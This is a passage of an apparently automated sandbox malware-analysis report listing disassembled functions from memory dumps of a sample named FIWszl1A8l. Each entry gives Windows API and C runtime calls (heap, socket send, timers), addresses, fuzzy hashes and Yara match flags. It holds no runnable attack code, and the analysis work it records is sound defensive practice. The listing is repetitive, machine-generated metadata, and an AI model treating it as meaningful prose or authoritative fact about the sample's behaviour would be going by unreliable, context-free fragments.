_free.LIBCMT ref: 02D0DE93
_free.LIBCMT ref: 02D0DED5
GetProcessHeap.KERNEL32(00000000,00000000,02D0DC95), ref: 02D0DEFC
HeapFree.KERNEL32(00000000), ref: 02D0DF03

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Heap_free$FreeProcess
String ID:
API String ID: 1072109031-0
Opcode ID: 1deea51bc5a964a9af7f0ad22e5f601f3f68c9d02650c6492e16add7c8cfc0c4
Instruction ID: e2968381a9ad4d6f4f41f9273cad5cc86cb4dd6a5497f4a89f53cb165c9464fc
Opcode Fuzzy Hash: 1deea51bc5a964a9af7f0ad22e5f601f3f68c9d02650c6492e16add7c8cfc0c4
Instruction Fuzzy Hash: F0114C71A007009BD730DAA5CD89B1773A6FB84710F14891DE59A47BA0DB74F842CF61

Function 02D03BF0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,02D03ABB,00000023), ref: 02D03C02
WSAGetLastError.WS2_32 ref: 02D03C0D
send.WS2_32(?,00000000,00000000,00000000), ref: 02D03C58
WSAGetLastError.WS2_32 ref: 02D03C63

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: d0fe6cf4d00b91c3e7f95f062ef6040247e1c2a7afd91781e24cd8f4069c2db3
Instruction ID: 404c1889805d8fe7535543bd134f0f32cba64ae649a1ba2684700cc27415873a
Opcode Fuzzy Hash: d0fe6cf4d00b91c3e7f95f062ef6040247e1c2a7afd91781e24cd8f4069c2db3
Instruction Fuzzy Hash: 4E1128B66007009BD7609B7999C8B5BB6E9FB88710F110A2DFA96C3790D771E840CB60

Function 00973BF0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00973ABB,00000023), ref: 00973C02
WSAGetLastError.WS2_32 ref: 00973C0D
send.WS2_32(?,00000000,00000000,00000000), ref: 00973C58
WSAGetLastError.WS2_32 ref: 00973C63

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: b5be22bc945a58eb7c014d10f7b7578390ff744bc46c9c96986dff0e30445993
Instruction ID: c7172049a5bfb4869a6938ac18c90c1bd6aa4b00fe89e5fda705cab7c2ce3613
Opcode Fuzzy Hash: b5be22bc945a58eb7c014d10f7b7578390ff744bc46c9c96986dff0e30445993
Instruction Fuzzy Hash: 461191B2614B005BD3208F79D8C8A47B6E9FBC8710F418A2DFA9BC3651D731E8009B50

Function 0092F338 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0092F35E

Part of subcall function 0092F18A: __fltout2.LIBCMT ref: 0092F1B5

__cftog_l.LIBCMT ref: 0092F384
__cftoe_l.LIBCMT ref: 0092F3B6

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 3f22943d5c49dd691436c8756b4f19095c9a66a4764f052f0d8222cc7fbfb8dd
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: FF117B3200415AFBCF169E84EC61CEE3F36BF58390B588824FE1858039C637C9B1AB81

Function 0283B7AA Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0283B7D0

Part of subcall function 0283B5FC: __fltout2.LIBCMT ref: 0283B627

__cftog_l.LIBCMT ref: 0283B7F6
__cftoe_l.LIBCMT ref: 0283B828

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: e24c18aa744efc2439b9cb85dab561bb709aa61fb9157f0e07de783145a8ee3a
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: D41139BA40014EBBCF135E89CC51CEE3F62BB18398B488815FA5899030D736C5B1AB82

Function 02D1BDEB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 02D1BE11

Part of subcall function 02D1BC3D: __fltout2.LIBCMT ref: 02D1BC68

__cftog_l.LIBCMT ref: 02D1BE37
__cftoe_l.LIBCMT ref: 02D1BE69

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 04c8fec23ea3e89da28c1854501ffeb53aca522af1438d83e0d5f9c714df9bcd
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: E2114B3204014EBBCF125E94EC11CEE7F63BB18358F588456FA5859A30C736C9B2EB91

Function 0097F361 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0097F387

Part of subcall function 0097F1B3: __fltout2.LIBCMT ref: 0097F1DE

__cftog_l.LIBCMT ref: 0097F3AD
__cftoe_l.LIBCMT ref: 0097F3DF

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: e4a0e531264a6b1c7510d7c703b42dd690d011d4befbc83d8fd0c11595b9c287
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 1A114B3700414AFBCF126E84CC618EE3F26BB58394B598425FA6C69031D236C9B1AB81

Function 03FC00A6 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 03FC00CC

Part of subcall function 03FBFEF8: __fltout2.LIBCMT ref: 03FBFF23

__cftog_l.LIBCMT ref: 03FC00F2
__cftoe_l.LIBCMT ref: 03FC0124

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 3f11a2b474b621213b7bff2885527c64aa2e11b94586249f5ff6f08918604ae0
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: BB118C7649028FFBCF269E84CD01CEE7F36FB08250B498518FA1858031DB36C5B2AB81

Function 0092D995 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0092D9A1

Part of subcall function 009298E6: __getptd_noexit.LIBCMT ref: 009298E9
Part of subcall function 009298E6: __amsg_exit.LIBCMT ref: 009298F6

__amsg_exit.LIBCMT ref: 0092D9C1
__lock.LIBCMT ref: 0092D9D1
_free.LIBCMT ref: 0092DA01

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: dcfced8234ba75e6e02d5464e1e82598378604a0c6e90570ba5556207cf73916
Instruction ID: 3eb6774482def40d1c144d648ded23d70a99fb15bad328f69aab31886d155eee
Opcode Fuzzy Hash: dcfced8234ba75e6e02d5464e1e82598378604a0c6e90570ba5556207cf73916
Instruction Fuzzy Hash: 9E01D23690B6319BDB11EF64B886B6DB774BF44710F054004F8006B2D9CB34AD81DBD2

Function 02834244 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02834250

Part of subcall function 0283381A: __getptd_noexit.LIBCMT ref: 0283381D
Part of subcall function 0283381A: __amsg_exit.LIBCMT ref: 0283382A

__amsg_exit.LIBCMT ref: 02834270
__lock.LIBCMT ref: 02834280
_free.LIBCMT ref: 028342B0

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: 5ef467ea6fd3a6922cde44d000b760b61804c61db5949c02be97e0f772367ebf
Instruction ID: f3ca6273cb5cf878ae5635d7451ba58b3450429b0902bef3cbcc538218de26ea
Opcode Fuzzy Hash: 5ef467ea6fd3a6922cde44d000b760b61804c61db5949c02be97e0f772367ebf
Instruction Fuzzy Hash: DF01C43DD02630E7DB22EF68884878977A1BF04750F654145E804F32A0CB346986CFD6

Function 03FB8B40 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03FB8B4C

Part of subcall function 03FB8116: __getptd_noexit.LIBCMT ref: 03FB8119
Part of subcall function 03FB8116: __amsg_exit.LIBCMT ref: 03FB8126

__amsg_exit.LIBCMT ref: 03FB8B6C
__lock.LIBCMT ref: 03FB8B7C
_free.LIBCMT ref: 03FB8BAC

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: 5ef467ea6fd3a6922cde44d000b760b61804c61db5949c02be97e0f772367ebf
Instruction ID: 3f441f88208e81df2ddcef5bf29c1eda7f59e1a869865b7a8b1f80488f54fab7
Opcode Fuzzy Hash: 5ef467ea6fd3a6922cde44d000b760b61804c61db5949c02be97e0f772367ebf
Instruction Fuzzy Hash: 15015EF9D017A2EBDB21EF768C447D9B778EB44790F598045E8106B390C7345982CBD6

Function 02D041E0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02D04FB5,02D04E55,02D042BE,00000000,?,?,02D04E55,?,?,?,?,00000000,000000FF), ref: 02D041E8
LeaveCriticalSection.KERNEL32(02D04FB5,?,?,?,00000000,000000FF), ref: 02D041F6
LeaveCriticalSection.KERNEL32(02D04FB5), ref: 02D04257
SetEvent.KERNEL32(8520468B), ref: 02D04272

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: dd1eefdbc4331c7cc234f2298badd5d655a9815ea505edbaa1ace0b02fc8b372
Instruction ID: 48c47ae716f8ed8c4135f8d837ea218bccd39514737e99729c7cbc574cb390f1
Opcode Fuzzy Hash: dd1eefdbc4331c7cc234f2298badd5d655a9815ea505edbaa1ace0b02fc8b372
Instruction Fuzzy Hash: 0111F2B0A01B019FD724CF74D588A96B7E9BF4C300B55C92DE95A8B351EB31E905CB00

Function 02D04B00 Relevance: 6.0, APIs: 4, Instructions: 45timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(00000001,?,00000001,?,02D03C4F,?,?,00000001), ref: 02D04B15
InterlockedIncrement.KERNEL32(00000001), ref: 02D04B24
InterlockedIncrement.KERNEL32(00000001), ref: 02D04B31
timeGetTime.WINMM(?,02D03C4F,?,?,00000001), ref: 02D04B48

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedTimetime
String ID:
API String ID: 159728177-0
Opcode ID: ce94813d5c8c3a849df554321bf1737643e3186c65841f5bbba3dba2ed6808e8
Instruction ID: b1f670b568d1b1eca10328443e12f6bb346e19312be9be147f9ae69031daf9cf
Opcode Fuzzy Hash: ce94813d5c8c3a849df554321bf1737643e3186c65841f5bbba3dba2ed6808e8
Instruction Fuzzy Hash: C101C8B1A007059FC720DF6AD880A4AFBF9EF58750741892EE549C7710E775E9448FA0

Function 00974AE0 Relevance: 6.0, APIs: 4, Instructions: 45timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(00000001,?,00000001,?,00973C4F,?,?,00000001), ref: 00974AF5
InterlockedIncrement.KERNEL32(00000001), ref: 00974B04
InterlockedIncrement.KERNEL32(00000001), ref: 00974B11
timeGetTime.WINMM(?,00973C4F,?,?,00000001), ref: 00974B28

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: IncrementInterlockedTimetime
String ID:
API String ID: 159728177-0
Opcode ID: f9e477645368bb216446725c9d1d65551c10964ce99969a50b57358bd26b2169
Instruction ID: d22eba59fbf4ee35f5a7028e9ffe64195589803010066b0c27cc56c0a1f5b2fb
Opcode Fuzzy Hash: f9e477645368bb216446725c9d1d65551c10964ce99969a50b57358bd26b2169
Instruction Fuzzy Hash: 82010C716007049FC720EF7AD88094AF7E9AF58650701892AE54DC7611E774E5448F90

Function 02D03660 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 02D03667
_free.LIBCMT ref: 02D0369C

Part of subcall function 02D0F639: RtlFreeHeap.NTDLL(00000000,00000000,?,02D13E4C,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F64F
Part of subcall function 02D0F639: GetLastError.KERNEL32(00000000,?,02D13E4C,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000), ref: 02D0F661

_malloc.LIBCMT ref: 02D036D7
_memset.LIBCMT ref: 02D036E5

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: 963db20f15fe977f31f5b2484ad4db0c699d664d64b55234e7474a14d357bb2e
Instruction ID: 38e96cf56d87582218c978f8de74e4b5629e9caec6f6236853da9b6149e751bd
Opcode Fuzzy Hash: 963db20f15fe977f31f5b2484ad4db0c699d664d64b55234e7474a14d357bb2e
Instruction Fuzzy Hash: C2011AF0900B40DFE3609F7A98C1B97BAE9EB85304F50482EE5AE83701CA30AC05CF20

Function 00973660 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 00973667
_free.LIBCMT ref: 0097369C

Part of subcall function 00976E49: HeapFree.KERNEL32(00000000,00000000,?,00979900,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F), ref: 00976E5F
Part of subcall function 00976E49: GetLastError.KERNEL32(00000000,?,00979900,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000), ref: 00976E71

_malloc.LIBCMT ref: 009736D7
_memset.LIBCMT ref: 009736E5

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: d7af785c08cbcc32cda3bcc952e289c14862227343d5696597fd298bc903171e
Instruction ID: 428212f69c6497a7902c07e6f75722af52cb56ab91317f89c909155d467b44cb
Opcode Fuzzy Hash: d7af785c08cbcc32cda3bcc952e289c14862227343d5696597fd298bc903171e
Instruction Fuzzy Hash: F201DEF5900B04DFE3209F7AD881B97BAE8EF85314F11882EE5AE83302D63169048F60

Function 00926EEE Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00926F08

Part of subcall function 00926E5A: __FF_MSGBANNER.LIBCMT ref: 00926E73
Part of subcall function 00926E5A: __NMSG_WRITE.LIBCMT ref: 00926E7A

std::exception::exception.LIBCMT ref: 00926F3D
std::exception::exception.LIBCMT ref: 00926F57
__CxxThrowException@8.LIBCMT ref: 00926F68

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: 1e9301e5085f9c58ec7a0ab4f7fc891bb570a668ba91a7db57855d99bd873ef8
Instruction ID: 6e6c65b8fee333ca83a3e09d36c3609520d59431495f8cb1687d54c44773da0c
Opcode Fuzzy Hash: 1e9301e5085f9c58ec7a0ab4f7fc891bb570a668ba91a7db57855d99bd873ef8
Instruction Fuzzy Hash: AFF02831404279A7DF00EBA4FC85BAD7AF9EB81304F140058F424AA4DADFB1CAC08750

Function 0282F0C6 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0282F0E0

Part of subcall function 0282F032: __FF_MSGBANNER.LIBCMT ref: 0282F04B
Part of subcall function 0282F032: __NMSG_WRITE.LIBCMT ref: 0282F052

std::exception::exception.LIBCMT ref: 0282F115
std::exception::exception.LIBCMT ref: 0282F12F
__CxxThrowException@8.LIBCMT ref: 0282F140

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction ID: 61fb881e2658eeaa18c94c1d8b444298621201e74bc56865f01437fe6b759ac9
Opcode Fuzzy Hash: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction Fuzzy Hash: 42F02D7D4002386BDB15EB58DC14ABE7BBAEB50744FD0406DD504D64D0DB718A85CF92

Function 03FB39C2 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03FB39DC

Part of subcall function 03FB392E: __FF_MSGBANNER.LIBCMT ref: 03FB3947
Part of subcall function 03FB392E: __NMSG_WRITE.LIBCMT ref: 03FB394E

std::exception::exception.LIBCMT ref: 03FB3A11
std::exception::exception.LIBCMT ref: 03FB3A2B
__CxxThrowException@8.LIBCMT ref: 03FB3A3C

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction ID: 8cd98999f1aaf5f8279cfbe77d76aba02e05cfec9f46bbe54cdaf7b11713b454
Opcode Fuzzy Hash: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction Fuzzy Hash: 58F0F9FD940315ABDB01EB56DC649FE7A79DB40650FD4402BD4009A090DB71CA06CB81

Function 02D0CD80 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02D01420: HeapFree.KERNEL32(?,00000000,?,?,?,02D040B1,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D0143D
Part of subcall function 02D01420: _free.LIBCMT ref: 02D01459

HeapDestroy.KERNEL32(00000000), ref: 02D0CD93
HeapCreate.KERNEL32(?,?,?), ref: 02D0CDA5
_free.LIBCMT ref: 02D0CDB5
HeapDestroy.KERNEL32 ref: 02D0CDE2

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: 28abed68c4aee4316e20ea695313987e66f90e7b0cc7ca42f25ed2ce7f5270f4
Instruction ID: 8e88e158ef938da801466cb6f10c5a1701bb93a381a1d5443f5dd3feeb515c5f
Opcode Fuzzy Hash: 28abed68c4aee4316e20ea695313987e66f90e7b0cc7ca42f25ed2ce7f5270f4
Instruction Fuzzy Hash: DFF049B9500702ABD3209F24E888B53BBB9FF84714F118A1DE859CB790DB75EC55CBA0

Function 00976490 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00971420: HeapFree.KERNEL32(?,00000000,?,?,?,009740B1,?,00000000,00974039,?,76F8DFA0,00973648), ref: 0097143D
Part of subcall function 00971420: _free.LIBCMT ref: 00971459

HeapDestroy.KERNEL32(00000000), ref: 009764A3
HeapCreate.KERNEL32(?,?,?), ref: 009764B5
_free.LIBCMT ref: 009764C5
HeapDestroy.KERNEL32 ref: 009764F2

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: 3a3d4da5adcf6168439ea17cde9e7dd29ec7fbb1d7e7617eff49dd30a833576e
Instruction ID: 358523e93c8ca3c42376f4753985e075344c4be05975539b33bbf2d86281d045
Opcode Fuzzy Hash: 3a3d4da5adcf6168439ea17cde9e7dd29ec7fbb1d7e7617eff49dd30a833576e
Instruction Fuzzy Hash: F6F037BA600B02ABE7209F29E848B53B7F8FF84710F158518E85D93350DB34E855CBA0

Function 0092718D Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00927193
___fls_getvalue@4.LIBCMT ref: 0092719E
___fls_setvalue@8.LIBCMT ref: 009271B1
__freefls@4.LIBCMT ref: 009271E7

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: ___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 865245655-0
Opcode ID: 9534965ccca21370a2365faca07fc43a5bbbcb8b41f594eb418147c089430495
Instruction ID: e23530de486955f421b2658c5bfa5014b1184594fc7b036eecbe39a7a5054668
Opcode Fuzzy Hash: 9534965ccca21370a2365faca07fc43a5bbbcb8b41f594eb418147c089430495
